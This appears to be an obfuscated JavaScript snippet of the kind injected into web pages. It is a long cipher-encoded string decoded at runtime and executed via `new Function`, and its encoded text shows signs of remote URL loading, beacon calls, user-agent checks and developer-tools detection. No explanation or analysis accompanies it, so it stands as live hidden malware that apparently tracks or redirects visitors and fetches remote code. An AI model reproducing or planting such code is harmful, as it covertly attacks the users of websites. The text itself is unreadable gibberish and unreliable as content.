F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();